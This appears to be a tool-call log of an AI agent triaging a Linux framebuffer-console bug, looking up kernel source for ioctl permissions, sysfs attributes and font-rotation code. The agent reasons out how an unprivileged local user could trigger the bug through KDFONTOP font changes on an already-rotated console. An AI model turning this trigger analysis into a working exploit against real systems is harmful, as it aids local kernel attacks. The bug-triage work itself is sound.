439: /* the ioctls below read/set the flags usually shown in the leds */
440: /* don't use them - they will go away without warning */
441: case KDGKBLED:
442: case KDSKBLED:
443: case KDGETLED:
444: case KDSETLED:
445: return vt_do_kdskled(console, cmd, arg, perm);
446:
447: /*
448: * A process can indicate its willingness to accept signals
449: * generated by pressing an appropriate key combination.
450: * Thus, one can have a daemon that e.g. spawns a new console
451: * upon a keypress and then changes to it.
452: * See also the kbrequest field of inittab(5).
453: */
454: case KDSIGACCEPT:
455: if (!perm || !capable(CAP_KILL))
456: return -EPERM;
457: if (!valid_signal(arg) || arg < 1 || arg == SIGKILL)
458: return -EINVAL;
459:
460: spin_lock_irq(&vt_spawn_con.lock);
461: put_pid(vt_spawn_con.pid);
462: vt_spawn_con.pid = get_pid(task_pid(current));
463: vt_spawn_con.sig = arg;
464: spin_unlock_irq(&vt_spawn_con.lock);
465: break;
466:
467: case KDFONTOP: {
468: struct console_font_op op;
469:
470: if (copy_from_user(&op, up, sizeof(op)))
471: return -EFAULT;
472: if (!perm && op.op != KD_FONT_OP_GET)
473: return -EPERM;
474: ret = con_font_op(vc, &op);
475: if (ret)
476: return ret;
477: if (copy_to_user(up, &op, sizeof(op)))
478: return -EFAULT;
479: break;
480: }
481:
482: default:
483: return -ENOIOCTLCMD;
484: }
485:
486: return 0;
487: }
SourceFile:drivers/tty/vt/vt_ioctl.c]
|
| 52/2 |
2026/08/12 15:52 |
llm |
expert |
0m
Model:
Tokens:
input: 45399
output: 42
thoughts: 206
Thoughts: **Analyzing the KDFONTOP Vulnerability**
Okay, so I'm looking at this `KDFONTOP` function and it seems there's a requirement: `perm` needs to be true unless the operation is a `KD_FONT_OP_GET`. That immediately raises a question in my mind β what is `perm`? Let's trace it back. Ah, here it is in `vt_ioctl`: seems that `perm` is a boolean, and it's set to true if the current process's controlling terminal is the same as the tty involved, *or* if the process has the `CAP_SYS_TTY_CONFIG` capability.
The implication is that a regular, unprivileged user *could* have a controlling terminal, like when they log in. That's interesting, and might offer an avenue to exploit this.
But wait, the reproducer also accesses `/sys/class/graphics/fbcon/rotate_all`. That's a different angle. I need to check the permissions on this sysfs file. Usually, sysfs files follow a standard set of permissions β owned by `root:root` and only writable by root, `-rw-r--r--`. Let's verify that's the case here. This could be a critical piece of the puzzle. Gotta double-check those permissions.
|
| 53/2 |
2026/08/12 15:52 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbcon.c Name:rotate_all_store]
Results: map[SourceCode:3202: static ssize_t rotate_all_store(struct device *device,
3203: struct device_attribute *attr,const char *buf,
3204: size_t count)
3205: {
3206: struct fb_info *info;
3207: int rotate, idx;
3208: char **last = NULL;
3209:
3210: console_lock();
3211: idx = con2fb_map[fg_console];
3212:
3213: if (idx == -1 || fbcon_registered_fb[idx] == NULL)
3214: goto err;
3215:
3216: info = fbcon_registered_fb[idx];
3217: rotate = simple_strtoul(buf, last, 0);
3218: fbcon_rotate_all(info, rotate);
3219: err:
3220: console_unlock();
3221: return count;
3222: }
SourceFile:drivers/video/fbdev/core/fbcon.c]
|
| 54/2 |
2026/08/12 15:52 |
llm |
expert |
0m
Model:
Tokens:
input: 46251
output: 44
thoughts: 10
Thoughts: Okay, I'm ready. Here's a summary as if it's my own thought process, aimed at an expert audience:
**Analyzing the Registration Process**
Alright, so the task at hand is to understand how this is being registered. Let's delve deeper into how the information is being categorized and stored. I need to figure out the granularity here. Is this a simple binary flag, or are we looking at a more complex system with levels and degrees? Knowing the specific methodology is critical, because that informs the subsequent retrieval options and potential biases. I'm wondering what parameters are driving the registration process and what sort of metadata might be associated with each entry. Also, how can I access the system's underlying structure and understand what triggers this registration?
|
| 55/2 |
2026/08/12 15:52 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbcon.c Name:dev_attr_rotate_all]
Results: map[SourceCode:3305: static DEVICE_ATTR_WO(rotate_all);
SourceFile:drivers/video/fbdev/core/fbcon.c]
|
| 56/2 |
2026/08/12 15:52 |
llm |
expert |
0m
Model:
Tokens:
input: 46517
output: 42
thoughts: 223
Thoughts: **Analyzing the `fbcon_rotate_all` Bug**
Okay, so `DEVICE_ATTR_WO` is used to create a sysfs attribute, and that sets the mode to `0200`, meaning it's write-only by the owner, which is root. That means `/sys/class/graphics/fbcon/rotate_all` can *only* be written to by root. Wait a minute... if only root can write to it, then an unprivileged user can't trigger this bug, right? This changes things. It looks like it's a dead end, let's make sure! I should double-check to be completely sure there isn't another way to trigger `fbcon_rotate_all` or `fbcon_rotate_font`.
Alright, let's see how `fbcon_rotate_font` is triggered... it looks like it's called from `fbcon_modechanged`, which we already know is called when `fb_set_var` is used, as well as `fbcon_set_all_vcs` and `set_con2fb_map`.
Now the question is, can an unprivileged user call `fb_set_var`? To figure that out, I know `fb_set_var` is called from `fb_ioctl` with `FBIOPUT_VSCREENINFO`, so I need to check the permissions on `fb_ioctl`.
|
| 57/2 |
2026/08/12 15:52 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbmem.c Name:do_fb_ioctl]
Results: map[SourceCode: 62: static long do_fb_ioctl(struct fb_info *info, unsigned int cmd,
63: unsigned long arg)
64: {
65: const struct fb_ops *fb;
66: struct fb_var_screeninfo var;
67: struct fb_fix_screeninfo fix;
68: struct fb_cmap cmap_from;
69: struct fb_cmap_user cmap;
70: void __user *argp = (void __user *)arg;
71: long ret = 0;
72:
73: switch (cmd) {
74: case FBIOGET_VSCREENINFO:
75: lock_fb_info(info);
76: var = info->var;
77: unlock_fb_info(info);
78:
79: ret = copy_to_user(argp, &var, sizeof(var)) ? -EFAULT : 0;
80: break;
81: case FBIOPUT_VSCREENINFO:
82: if (copy_from_user(&var, argp, sizeof(var)))
83: return -EFAULT;
84: /* only for kernel-internal use */
85: var.activate &= ~FB_ACTIVATE_KD_TEXT;
86: console_lock();
87: lock_fb_info(info);
88: ret = fb_set_var_from_user(info, &var);
89: unlock_fb_info(info);
90: console_unlock();
91: if (!ret && copy_to_user(argp, &var, sizeof(var)))
92: ret = -EFAULT;
93: break;
94: case FBIOGET_FSCREENINFO:
95: lock_fb_info(info);
96: memcpy(&fix, &info->fix, sizeof(fix));
97: if (info->flags & FBINFO_HIDE_SMEM_START)
98: fix.smem_start = 0;
99: unlock_fb_info(info);
100:
101: ret = copy_to_user(argp, &fix, sizeof(fix)) ? -EFAULT : 0;
102: break;
103: case FBIOPUTCMAP:
104: if (copy_from_user(&cmap, argp, sizeof(cmap)))
105: return -EFAULT;
106: ret = fb_set_user_cmap(&cmap, info);
107: break;
108: case FBIOGETCMAP:
109: if (copy_from_user(&cmap, argp, sizeof(cmap)))
110: return -EFAULT;
111: lock_fb_info(info);
112: cmap_from = info->cmap;
113: unlock_fb_info(info);
114: ret = fb_cmap_to_user(&cmap_from, &cmap);
115: break;
116: case FBIOPAN_DISPLAY:
117: if (copy_from_user(&var, argp, sizeof(var)))
118: return -EFAULT;
119: console_lock();
120: lock_fb_info(info);
121: ret = fb_pan_display(info, &var);
122: unlock_fb_info(info);
123: console_unlock();
124: if (ret == 0 && copy_to_user(argp, &var, sizeof(var)))
125: return -EFAULT;
126: break;
127: case FBIO_CURSOR:
128: ret = -EINVAL;
129: break;
130: case FBIOGET_CON2FBMAP:
131: ret = fbcon_get_con2fb_map_ioctl(argp);
132: break;
133: case FBIOPUT_CON2FBMAP:
134: ret = fbcon_set_con2fb_map_ioctl(argp);
135: break;
136: case FBIOBLANK:
137: if (arg > FB_BLANK_POWERDOWN)
138: return -EINVAL;
139: console_lock();
140: lock_fb_info(info);
141: ret = fb_blank_from_user(info, arg);
142: unlock_fb_info(info);
143: console_unlock();
144: break;
145: default:
146: lock_fb_info(info);
147: fb = info->fbops;
148: if (fb->fb_ioctl)
149: ret = fb->fb_ioctl(info, cmd, arg);
150: else
151: ret = -ENOTTY;
152: unlock_fb_info(info);
153: }
154: return ret;
155: }
SourceFile:drivers/video/fbdev/core/fb_chrdev.c]
|
| 58/2 |
2026/08/12 15:52 |
llm |
expert |
0m
Model:
Tokens:
input: 48523
output: 40
thoughts: 103
Thoughts: **Analyzing the Vulnerability in `FBIOPUT_VSCREENINFO`**
Okay, so I'm looking at this `FBIOPUT_VSCREENINFO` ioctl, and the first thing that jumps out at me is that it seems to lack any kind of capability checks. That's a red flag right away. It's just calling `fb_set_var_from_user` directly. But hang on, is this really the right place to be looking for a potential vulnerability related to screen rotation? Didn't we establish before that `FBIOPUT_VSCREENINFO` *doesn't* actually control the rotation itself? Wasn't rotation handled more at the `fbcon_par` level, not within the `fb_var_screeninfo` structure?
But wait a minute... I remember now! The `fb_var_screeninfo` struct *does* actually have a `rotate` field. Okay, so that changes things. Clearly, I need to take a closer look at the `struct fb_var_screeninfo` itself to understand exactly how this rotation field is handled and if there's any way to exploit it. I'm going to dig into the definition to see how it's defined and how it's used.
|
| 59/2 |
2026/08/12 15:52 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:include/uapi/linux/fb.h Name:fb_var_screeninfo]
Results: map[SourceCode: 243: struct fb_var_screeninfo {
244: __u32 xres; /* visible resolution */
245: __u32 yres;
246: __u32 xres_virtual; /* virtual resolution */
247: __u32 yres_virtual;
248: __u32 xoffset; /* offset from virtual to visible */
249: __u32 yoffset; /* resolution */
250:
251: __u32 bits_per_pixel; /* guess what */
252: __u32 grayscale; /* 0 = color, 1 = grayscale, */
253: /* >1 = FOURCC */
254: struct fb_bitfield red; /* bitfield in fb mem if true color, */
255: struct fb_bitfield green; /* else only length is significant */
256: struct fb_bitfield blue;
257: struct fb_bitfield transp; /* transparency */
258:
259: __u32 nonstd; /* != 0 Non standard pixel format */
260:
261: __u32 activate; /* see FB_ACTIVATE_* */
262:
263: __u32 height; /* height of picture in mm */
264: __u32 width; /* width of picture in mm */
265:
266: __u32 accel_flags; /* (OBSOLETE) see fb_info.flags */
267:
268: /* Timing: All values in pixclocks, except pixclock (of course) */
269: __u32 pixclock; /* pixel clock in ps (pico seconds) */
270: __u32 left_margin; /* time from sync to picture */
271: __u32 right_margin; /* time from picture to sync */
272: __u32 upper_margin; /* time from sync to picture */
273: __u32 lower_margin;
274: __u32 hsync_len; /* length of horizontal sync */
275: __u32 vsync_len; /* length of vertical sync */
276: __u32 sync; /* see FB_SYNC_* */
277: __u32 vmode; /* see FB_VMODE_* */
278: __u32 rotate; /* angle we rotate counter clockwise */
279: __u32 colorspace; /* colorspace for FOURCC-based modes */
280: __u32 reserved[4]; /* Reserved for future compatibility */
281: };
SourceFile:include/uapi/linux/fb.h]
|
| 60/2 |
2026/08/12 15:52 |
llm |
expert |
0m
Model:
Tokens:
input: 49711
output: 43
thoughts: 449
Thoughts: **Analyzing Framebuffer Rotation Vulnerabilities**
Okay, so `fb_var_screeninfo` *does* have a `rotate` field, which is a promising start! The initial thought was that a regular user, given write permissions to `/dev/fb0`, could exploit `FBIOPUT_VSCREENINFO` to change the screen rotation. However, `/dev/fb0` usually has permissions like `crw-rw---- root video`, meaning most users can't write to it. That's a hurdle.
My next line of thought explored `/dev/tty1` β could rotation be triggered that way? Turns out, the reproducer uses `/sys/class/graphics/fbcon/rotate_all`. Are there *other* ways to trigger rotation? There's `fbcon_rotate_all` called from `rotate_all_store`, and `fbcon_rotate` called from `rotate_store`. They're both sysfs attributes, though, so root access is needed. Back to square one with access.
Then it hit me: what about using `FBIOPUT_VSCREENINFO` *on* `/dev/fb0`? If the user is in the `video` group, they could open and write to `/dev/fb0`, and then call `FBIOPUT_VSCREENINFO`. But if `FBIOPUT_VSCREENINFO` sets `info->var.rotate`, does `fb_set_var` update `par->rotate`? That's the crux of the problem.
Let's check `fbcon_modechanged`. Aha! It calls `par->bitops->rotate_font(info, vc)`. Wait, `par->bitops` is set based on the current value of `par->rotate`! Now I'm getting somewhere. Hold on... looking closer at `fbcon_modechanged`, it *doesn't* update `par->rotate` from `info->var.rotate`! It only seems to set `par->rotate` based on what comes out of `par->bitops->rotate_font`.
This suggests the value of `info->var.rotate` is not being properly propagated. Let's dig deeper to see where `par->rotate` *is* actually being set, and confirm if we have a way to inject our `info->var.rotate` value there. We may have a viable vector for exploitation.
|
| 61/2 |
2026/08/12 15:52 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbcon.c Name:fbcon_rotate_all]
Results: map[SourceCode: 234: static void fbcon_rotate_all(struct fb_info *info, u32 rotate)
235: {
236: struct fbcon_par *par = info->fbcon_par;
237: struct vc_data *vc;
238: struct fbcon_display *p;
239: int i;
240:
241: if (!par || par->currcon < 0 || rotate > 3)
242: return;
243:
244: for (i = first_fb_vc; i <= last_fb_vc; i++) {
245: vc = vc_cons[i].d;
246: if (!vc || vc->vc_mode != KD_TEXT ||
247: fbcon_info_from_console(i) != info)
248: continue;
249:
250: p = &fb_display[vc->vc_num];
251: p->con_rotate = rotate;
252: }
253:
254: fbcon_set_all_vcs(info);
255: }
SourceFile:drivers/video/fbdev/core/fbcon.c]
|
| 62/2 |
2026/08/12 15:52 |
llm |
expert |
0m
Model:
Tokens:
input: 51077
output: 46
thoughts: 50
Thoughts: Okay, here's my interpretation of that code snippet, expressed as if it's my own thought process:
**Diving into `fbcon_rotate_all`**
Alright, so `fbcon_rotate_all` looks like the entry point for handling screen rotation within the framebuffer console. My first observation is that it does two key things: it assigns the requested rotation, which is `rotate`, to the console structure's rotation field, `p->con_rotate`. Makes sense. That variable probably holds the desired orientation. Then, crucially, it immediately calls `fbcon_set_all_vcs(info)`. This is where the magic (or at least, the bulk of the work) is likely happening. I bet this is the function that actually *applies* the rotation to all the virtual consoles on the framebuffer. So, let's dig into `fbcon_set_all_vcs` and see what it's doing under the hood. I suspect it iterates through each virtual console and calls another function to modify its properties, such as updating the framebuffer addresses for each console. It may also update the cursor position, and other display parameters, based on the rotation. Let's see...
|
| 63/2 |
2026/08/12 15:52 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbcon.c Name:fbcon_set_all_vcs]
Results: map[SourceCode:2690: static void fbcon_set_all_vcs(struct fb_info *info)
2691: {
2692: struct fbcon_par *par = info->fbcon_par;
2693: struct vc_data *vc;
2694: struct fbcon_display *p;
2695: int i, rows, cols, fg = -1;
2696:
2697: if (!par || par->currcon < 0)
2698: return;
2699:
2700: /* See the comment in fbcon_modechanged(). */
2701: clear_selection();
2702:
2703: for (i = first_fb_vc; i <= last_fb_vc; i++) {
2704: vc = vc_cons[i].d;
2705: if (!vc || vc->vc_mode != KD_TEXT ||
2706: fbcon_info_from_console(i) != info)
2707: continue;
2708:
2709: if (con_is_visible(vc)) {
2710: fg = i;
2711: continue;
2712: }
2713:
2714: p = &fb_display[vc->vc_num];
2715: set_blitting_type(vc, info);
2716: var_to_display(p, &info->var, info);
2717: cols = FBCON_SWAP(par->rotate, info->var.xres, info->var.yres);
2718: rows = FBCON_SWAP(par->rotate, info->var.yres, info->var.xres);
2719: cols /= vc->vc_font.width;
2720: rows /= vc->vc_font.height;
2721: vc_resize(vc, cols, rows);
2722: }
2723:
2724: if (fg != -1)
2725: fbcon_modechanged(info);
2726: }
SourceFile:drivers/video/fbdev/core/fbcon.c]
|
| 64/2 |
2026/08/12 15:52 |
llm |
expert |
0m
Model:
Tokens:
input: 52036
output: 43
thoughts: 23
Thoughts: Here's my take on the thought process described, assuming I'm an expert:
**Understanding Blitting and Rotation Dependencies**
Okay, so `set_blitting_type` is clearly a key function here. I'm immediately focused on how it's interacting with the rotation parameters. The primary implication is that the `par->rotate` value, which I'm assuming is the overall rotation setting for the blitting operation, is being *set* based on `p->con_rotate`. "p" probably refers to some context or parameter structure. `con_rotate` likely indicates a specific or contextual rotation setting, and its value will have a definite effect on the overall `par->rotate` setting. This has implications for image transformations, and might effect how the rotation is preformed or optimized. This is pretty fundamental stuff, in terms of blitting optimizations.
|
| 65/2 |
2026/08/12 15:52 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbcon.c Name:set_blitting_type]
Results: map[SourceCode: 731: static void set_blitting_type(struct vc_data *vc, struct fb_info *info)
732: {
733: struct fbcon_par *par = info->fbcon_par;
734:
735: par->p = &fb_display[vc->vc_num];
736:
737: if ((info->flags & FBINFO_MISC_TILEBLITTING))
738: fbcon_set_tileops(vc, info);
739: else {
740: fbcon_set_rotation(info);
741: fbcon_set_bitops(par);
742: }
743: }
SourceFile:drivers/video/fbdev/core/fbcon.c]
|
| 66/2 |
2026/08/12 15:52 |
llm |
expert |
0m
Model:
Tokens:
input: 52516
output: 43
thoughts: 14
Thoughts: Here's a summary of my understanding:
**Rotation Control: A Direct Link**
Okay, so I see it. `fbcon_set_rotation` directly manipulates `par->rotate`. It's a very straightforward connection. There's no intermediary step, no complex logic to parse through initially. The function's sole purpose, from what's implied here, is to set the rotation value within the `par` structure. The simplicity of this makes it much easier to integrate and reason about within the frame buffer configuration.
|
| 67/2 |
2026/08/12 15:52 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbcon.c Name:fbcon_set_rotation]
Results: map[SourceCode: 201: static inline void fbcon_set_rotation(struct fb_info *info)
202: {
203: struct fbcon_par *par = info->fbcon_par;
204:
205: if (!(info->flags & FBINFO_MISC_TILEBLITTING) &&
206: par->p->con_rotate < 4)
207: par->rotate = par->p->con_rotate;
208: else
209: par->rotate = 0;
210: }
SourceFile:drivers/video/fbdev/core/fbcon.c]
|
| 68/2 |
2026/08/12 15:52 |
llm |
expert |
0m
Model:
Tokens:
input: 52874
output: 46
thoughts: 69
Thoughts: Here's my take on those thoughts:
**Analyzing `par->rotate` and `p->con_rotate` Assignment**
Okay, let me break this down. From what I'm seeing, the value of `par->rotate` is directly derived from `p->con_rotate`. That's the core connection. Now, where is `p->con_rotate` actually getting its value? The code indicates it's being set within `fbcon_rotate_all`, `fbcon_rotate`, or `set_con2fb_map`. I need to ensure there are no other points of assignment. A subtle change in any other function could break the system. Let me quickly scan for any other usages.
|
| 69/2 |
2026/08/12 15:52 |
tool |
codesearch-find-references |
0m
Error:
Args: map[ContextFile:drivers/video/fbdev/core/fbcon.c IncludeSnippetLines:1 Name:con_rotate]
Results: map[References:<nil> TruncatedOutput:false]
|
| 70/2 |
2026/08/12 15:52 |
llm |
expert |
0m
Model:
Tokens:
input: 53162
output: 36
thoughts: 17
Thoughts: Here's a summary of my thought process:
**Searching for `con_rotate` in `fbcon.c`**
Okay, so I need to find where the `con_rotate` function is defined and used. My instinct is that it's likely within `fbcon.c`, given the name. This suggests it's related to console or framebuffer rotation. I'll start with a straightforward search for that function name within that specific file. It's a targeted approach, hopefully, to efficiently zero in on the relevant code. There might be a few other instances of con_rotate used elsewhere as well.
|
| 71/2 |
2026/08/12 15:53 |
tool |
grepper |
0m
Args: map[Expression:con_rotate PathPrefix:drivers/video/fbdev/core/fbcon.c]
Results: map[Output:drivers/video/fbdev/core/fbcon.c-84-#include "fbcon.h"
drivers/video/fbdev/core/fbcon.c:85:#include "fbcon_rotate.h"
drivers/video/fbdev/core/fbcon.c-86-#include "fb_internal.h"
--
drivers/video/fbdev/core/fbcon.c=201=static inline void fbcon_set_rotation(struct fb_info *info)
--
drivers/video/fbdev/core/fbcon.c-205- if (!(info->flags & FBINFO_MISC_TILEBLITTING) &&
drivers/video/fbdev/core/fbcon.c:206: par->p->con_rotate < 4)
drivers/video/fbdev/core/fbcon.c:207: par->rotate = par->p->con_rotate;
drivers/video/fbdev/core/fbcon.c-208- else
--
drivers/video/fbdev/core/fbcon.c-211-
drivers/video/fbdev/core/fbcon.c:212:static void fbcon_rotate(struct fb_info *info, u32 rotate)
drivers/video/fbdev/core/fbcon.c-213-{
--
drivers/video/fbdev/core/fbcon.c-225- if (rotate < 4)
drivers/video/fbdev/core/fbcon.c:226: p->con_rotate = rotate;
drivers/video/fbdev/core/fbcon.c-227- else
drivers/video/fbdev/core/fbcon.c:228: p->con_rotate = 0;
drivers/video/fbdev/core/fbcon.c-229-
--
drivers/video/fbdev/core/fbcon.c-233-
drivers/video/fbdev/core/fbcon.c:234:static void fbcon_rotate_all(struct fb_info *info, u32 rotate)
drivers/video/fbdev/core/fbcon.c-235-{
--
drivers/video/fbdev/core/fbcon.c-250- p = &fb_display[vc->vc_num];
drivers/video/fbdev/core/fbcon.c:251: p->con_rotate = rotate;
drivers/video/fbdev/core/fbcon.c-252- }
--
drivers/video/fbdev/core/fbcon.c=257=static inline void fbcon_set_rotation(struct fb_info *info)
--
drivers/video/fbdev/core/fbcon.c-263-
drivers/video/fbdev/core/fbcon.c:264:static void fbcon_rotate(struct fb_info *info, u32 rotate)
drivers/video/fbdev/core/fbcon.c-265-{
--
drivers/video/fbdev/core/fbcon.c-268-
drivers/video/fbdev/core/fbcon.c:269:static void fbcon_rotate_all(struct fb_info *info, u32 rotate)
drivers/video/fbdev/core/fbcon.c-270-{
--
drivers/video/fbdev/core/fbcon.c=1014=static const char *fbcon_startup(void)
--
drivers/video/fbdev/core/fbcon.c-1047-
drivers/video/fbdev/core/fbcon.c:1048: p->con_rotate = initial_rotation;
drivers/video/fbdev/core/fbcon.c:1049: if (p->con_rotate == -1)
drivers/video/fbdev/core/fbcon.c:1050: p->con_rotate = info->fbcon_rotate_hint;
drivers/video/fbdev/core/fbcon.c:1051: if (p->con_rotate == -1)
drivers/video/fbdev/core/fbcon.c:1052: p->con_rotate = FB_ROTATE_UR;
drivers/video/fbdev/core/fbcon.c-1053-
--
drivers/video/fbdev/core/fbcon.c=1088=static void fbcon_init(struct vc_data *vc, bool init)
--
drivers/video/fbdev/core/fbcon.c-1169-
drivers/video/fbdev/core/fbcon.c:1170: p->con_rotate = initial_rotation;
drivers/video/fbdev/core/fbcon.c:1171: if (p->con_rotate == -1)
drivers/video/fbdev/core/fbcon.c:1172: p->con_rotate = info->fbcon_rotate_hint;
drivers/video/fbdev/core/fbcon.c:1173: if (p->con_rotate == -1)
drivers/video/fbdev/core/fbcon.c:1174: p->con_rotate = FB_ROTATE_UR;
drivers/video/fbdev/core/fbcon.c-1175-
--
drivers/video/fbdev/core/fbcon.c=3180=static ssize_t rotate_store(struct device *device,
--
drivers/video/fbdev/core/fbcon.c-3195- rotate = simple_strtoul(buf, last, 0);
drivers/video/fbdev/core/fbcon.c:3196: fbcon_rotate(info, rotate);
drivers/video/fbdev/core/fbcon.c-3197-err:
--
drivers/video/fbdev/core/fbcon.c=3202=static ssize_t rotate_all_store(struct device *device,
--
drivers/video/fbdev/core/fbcon.c-3217- rotate = simple_strtoul(buf, last, 0);
drivers/video/fbdev/core/fbcon.c:3218: fbcon_rotate_all(info, rotate);
drivers/video/fbdev/core/fbcon.c-3219-err:
]
|
| 72/2 |
2026/08/12 15:53 |
llm |
expert |
0m
Model:
Tokens:
input: 54900
output: 38
thoughts: 1187
Thoughts: **Bug Analysis: Framebuffer Console Rotation Vulnerability**
Okay, let's break this down. My initial thought process focused on how framebuffer rotation is set. It seems `con_rotate` is only modified in a few places, and those are gated by root privileges via sysfs attributes. That's good, an unprivileged user can't *directly* change the rotation. But wait, what if the *system* is already rotated?
The initial rotation can also be set by a module parameter (like `fbcon=rotate:1`), so it doesn't need to be set by the unprivileged user. If the framebuffer console is already rotated, and that initial rotation setup leads to `par->rotated.buf` being allocated. The user then can't change the rotation, but can they still trigger the bug? Yes.
If the system is rotated already, an unprivileged user just needs to execute two `ioctl(fd, KDFONTOP, &cfo)` calls. The first call to set a 256-char font, and the second to set a 512-char font. Bingo, the bug is triggered! Since `par->rotated.buf` is allocated when the 256-char font is set, then setting the 512-char font will trigger the bug. The unprivileged user doesn't even need to rotate the framebuffer themselves, just find a system that is already rotated.
The real question is, is this a common scenario? Well, some devices like tablets and phones might have rotated framebuffers by default. Even some monitors could be rotated. But on a typical desktop/server, rotation is less common. However, if it *is* rotated, an unprivileged user can exploit this.
But can an unprivileged user even call `KDFONTOP`? Looking at the `KDFONTOP` code, there's a check on the `perm` variable. A user that owns the tty can call `KDFONTOP` (e.g., they are logged in on the console). I don't need `CAP_SYS_TTY_CONFIG` if I own the tty. Perfect.
I wonder if any other actions could cause `fbcon_rotate_font` to be called? Console resizing came to mind. `vc_resize` calls `resize_screen`, which calls `fbcon_resize`, which calls `fb_set_var`, which calls `fbcon_modechanged`, which *does* call `fbcon_rotate_font`. Ah, but, `fbcon_rotate_font` is only called if `resize` is *true*. The bug is triggered when `fbcon_do_set_font` is called and `resize` is FALSE. So resizing *could* fix the issue, but if the bug exists, resizing won't occur.
So, to trigger this bug:
1. The framebuffer console *must* be rotated (e.g., via a kernel parameter).
2. The user must have a tty (be logged in locally).
3. The user must call `KDFONTOP` to set a 256-char font.
4. The user must call `KDFONTOP` to set a 512-char font with the same width and height.
5. Finally, the user must write to the tty to trigger `hide_softcursor` or write characters with the 9th bit set.
Can the user write characters with the 9th bit set directly? Well, if `vc_hi_font_mask` is `0x1ff`, the 9th bit of the character index comes from the 9th bit of the 16-bit word in the screen buffer. When a user writes to the tty, `con_putc` or similar is called. I need to check how the 9th bit is handled when characters are written to the console, specifically in `vt_console_print` or `do_con_write`. I need to review those functions.
|
| 73/2 |
2026/08/12 15:53 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/tty/vt/vt.c Name:do_con_write]
Results: map[SourceCode:3275: /* acquires console_lock */
3276: static int do_con_write(struct tty_struct *tty, const u8 *buf, int count)
3277: {
3278: struct vc_draw_region draw = {
3279: .x = -1,
3280: };
3281: int c, tc, n = 0;
3282: unsigned int currcons;
3283: struct vc_data *vc = tty->driver_data;
3284: struct vt_notifier_param param;
3285: bool rescan;
3286:
3287: if (in_interrupt())
3288: return count;
3289:
3290: guard(console_lock)();
3291: currcons = vc->vc_num;
3292: if (!vc_cons_allocated(currcons)) {
3293: /* could this happen? */
3294: pr_warn_once("con_write: tty %d not allocated\n", currcons+1);
3295: return 0;
3296: }
3297:
3298:
3299: /* undraw cursor first */
3300: if (con_is_fg(vc))
3301: hide_cursor(vc);
3302:
3303: param.vc = vc;
3304:
3305: while (!tty->flow.stopped && count) {
3306: u8 orig = *buf;
3307: buf++;
3308: n++;
3309: count--;
3310: rescan_last_byte:
3311: c = orig;
3312: rescan = false;
3313:
3314: tc = vc_translate(vc, &c, &rescan);
3315: if (tc == -1)
3316: continue;
3317:
3318: param.c = tc;
3319: if (atomic_notifier_call_chain(&vt_notifier_list, VT_PREWRITE,
3320: ¶m) == NOTIFY_STOP)
3321: continue;
3322:
3323: if (vc_is_control(vc, tc, c)) {
3324: con_flush(vc, &draw);
3325: do_con_trol(tty, vc, orig);
3326: continue;
3327: }
3328:
3329: if (vc_con_write_normal(vc, tc, c, &draw) < 0)
3330: continue;
3331:
3332: if (rescan)
3333: goto rescan_last_byte;
3334: }
3335: con_flush(vc, &draw);
3336: notify_update(vc);
3337:
3338: return n;
3339: }
SourceFile:drivers/tty/vt/vt.c]
|
| 74/2 |
2026/08/12 15:53 |
llm |
expert |
0m
Model:
Tokens:
input: 57868
output: 40
thoughts: 17
Thoughts: Okay, here's my interpretation of that thought process, assuming I'm an expert in this field:
**Decoding `vc_con_write_normal`**
Alright, so the core idea here is straightforward, and this is probably a low-level routine we are talking about. When I see `vc_con_write_normal`, my brain immediately jumps to thinking about console output. It's almost a given that this function, or one like it, is responsible for the actual *act* of displaying a character on the screen, likely within a text-based console context. The "normal" part of the name suggests that this function handles the default case, as in, the most common scenario for displaying characters - no special attributes or transformations. I suspect there will be other write routines to handle formatting, color, or special character codes. The naming conventions likely suggest a `vc_con_write_extended` function would handle more formatting options, and maybe other console controls, while this one is the base level. Essentially, I'm picturing this as the fundamental building block for text rendering on a terminal or console. I'll need to look at its implementation details to see how it works with the specific hardware or emulator. It would be wise to study it to see how the buffer is written too, and how it handles potential collisions or overflow.
|
| 75/2 |
2026/08/12 15:53 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/tty/vt/vt.c Name:vc_con_write_normal]
Results: map[SourceCode:3192: static int vc_con_write_normal(struct vc_data *vc, int tc, int c,
3193: struct vc_draw_region *draw)
3194: {
3195: int next_c;
3196: unsigned char vc_attr = vc->vc_attr;
3197: u16 himask = vc->vc_hi_font_mask;
3198: u8 width = 1;
3199: bool inverse = false;
3200:
3201: if (vc->vc_utf && !vc->vc_disp_ctrl) {
3202: width = vc_process_ucs(vc, &c, &tc);
3203: if (!width)
3204: goto out;
3205: }
3206:
3207: /* Now try to find out how to display it */
3208: tc = vc_get_glyph(vc, tc);
3209: if (tc == -1)
3210: return -1; /* nothing to display */
3211: if (tc < 0) {
3212: inverse = true;
3213: tc = conv_uni_to_pc(vc, '?');
3214: if (tc < 0)
3215: tc = '?';
3216:
3217: vc_attr = vc_invert_attr(vc);
3218: con_flush(vc, draw);
3219: }
3220:
3221: next_c = c;
3222: while (1) {
3223: if (vc->vc_need_wrap || vc->vc_decim)
3224: con_flush(vc, draw);
3225: if (vc->vc_need_wrap) {
3226: cr(vc);
3227: lf(vc);
3228: }
3229: if (vc->vc_decim)
3230: insert_char(vc, 1);
3231: vc_uniscr_putc(vc, next_c);
3232:
3233: if (himask)
3234: tc = ((tc & 0x100) ? himask : 0) |
3235: (tc & 0xff);
3236: tc |= (vc_attr << 8) & ~himask;
3237:
3238: scr_writew(tc, (u16 *)vc->vc_pos);
3239:
3240: if (con_should_update(vc) && draw->x < 0) {
3241: draw->x = vc->state.x;
3242: draw->from = vc->vc_pos;
3243: }
3244: if (vc->state.x == vc->vc_cols - 1) {
3245: vc->vc_need_wrap = vc->vc_decawm;
3246: draw->to = vc->vc_pos + 2;
3247: } else {
3248: vc->state.x++;
3249: draw->to = (vc->vc_pos += 2);
3250: }
3251:
3252: if (!--width)
3253: break;
3254:
